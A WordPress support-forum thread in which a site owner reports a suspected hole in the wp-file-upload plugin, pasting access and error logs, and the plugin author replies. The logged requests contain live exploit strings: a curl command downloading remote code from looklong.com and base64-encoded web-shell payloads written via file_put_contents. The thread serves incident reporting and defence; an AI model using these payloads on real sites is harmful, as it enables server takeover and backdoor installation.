access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:15:10:44 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2856.40 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:15:10:44 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2856.40 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:15:25:14 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:15:25:14 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:15:43:57 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:16:44:15 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:16:44:15 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:16:44:18 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:16:48:52 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:17:26:20 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:17:26:21 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:17:48:53 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2780.29 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:18:55:31 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2631.87 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:18:55:32 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2631.87 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:18:55:32 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2631.87 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:19:02:26 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:19:14:49 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:19:14:51 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:19:25:58 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2816.67 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:19:25:58 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2816.67 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:19:54:55 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.2; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-11.txt:185.125.103.165 www.eawhoa.com - [11/Jan/2025:20:44:34 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/accesson.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"

Thread Starter

Bradley Smith

(@mobilebsmith)

1 year, 1 month ago

So I have fired up a vm machine with your plugin and while I have not been able to replicate it, the log entry below clearly is how the file got placed onto the machine. I am not exactly sure why me testing this doesn’t work.

access_log.01-08.txt:109.237.99.63 http://www.eawhoa.com – [08/Jan/2025:01:02:30 -0500] “GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1” 500 130 “https://www.eawhoa.com/” “Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2845.33 Safari/537.36”

Plugin Author

nickboss

(@nickboss)

1 year, 1 month ago

Which version of the plugin you were using?

Nickolas

Thread Starter

Bradley Smith

(@mobilebsmith)

1 year, 1 month ago

I don’t recall but I don’t think is the one you just released. I haven’t been able to replicate, with older versions back to 10. 20/20 hindsight always wins, I should have backed up things better. I the error logs also point to things as well. Here are some interesting lines from the errorlog

[Wed Jan 08 01:02:31.893124 2025] [php7:notice] [pid 3640] [client 109.237.99.63:60924] PHP Notice:  Trying to get property 'prefix' of non-object in /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/lib/wfu_functions.php on line 5111, referer: https://www.eawhoa.com/
[Wed Jan 08 01:02:31.893178 2025] [php7:notice] [pid 3640] [client 109.237.99.63:60924] PHP Notice:  Trying to get property 'suppress_errors' of non-object in /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/lib/wfu_functions.php on line 5114, referer: https://www.eawhoa.com/
[Wed Jan 08 01:02:31.893259 2025] [php7:error] [pid 3640] [client 109.237.99.63:60924] PHP Fatal error:  Uncaught Error: Call to a member function suppress_errors() on null in /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/lib/wfu_functions.php:5115\nStack trace:\n#0 /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/lib/wfu_functions.php(7015): wfu_update_option_item('wfu_userstate_c...', 'wfu_download_st...', '226661696c65642...')\n#1 /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/lib/wfu_functions.php(6669): WFU_USVAR_store_dboption('wfu_download_st...', 'failed')\n#2 /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/wfu_file_downloader.php(127): WFU_USVAR_store('wfu_download_st...', 'failed')\n#3 /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/wfu_file_downloader.php(78): wfu_update_download_status('Hw8h7dBmxROx27Z...', 'failed')\n#4 /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/wfu_file_dow in /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/lib/wfu_functions.php on line 5115, referer: https://www.eawhoa.com/
[Wed Jan 08 01:02:32.470606 2025] [php7:notice] [pid 13938] [client 109.237.99.63:58314] PHP Notice:  Undefined index: d in /usr/local/4admin/apache/vhosts/eawhoa.com/httpdocs/wp-content/plugins/wp-file-upload/015a53bd738f.php on line 1, referer: https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php

Plugin Author

nickboss

(@nickboss)

1 year, 1 month ago

I have made several improvements to file wfu_downloader.php in the last releases for avoiding hacking.

However, it is strange that the file 015a53bd738f.php got into the plugin folder. The access logs do not reveal how that happened.

If you update the plugin to the latest version this file will be deleted.

Nickolas

Viewing 7 replies - 1 through 7 (of 7 total)

The topic ‘I think this plugin has a security hole’ is closed to new replies.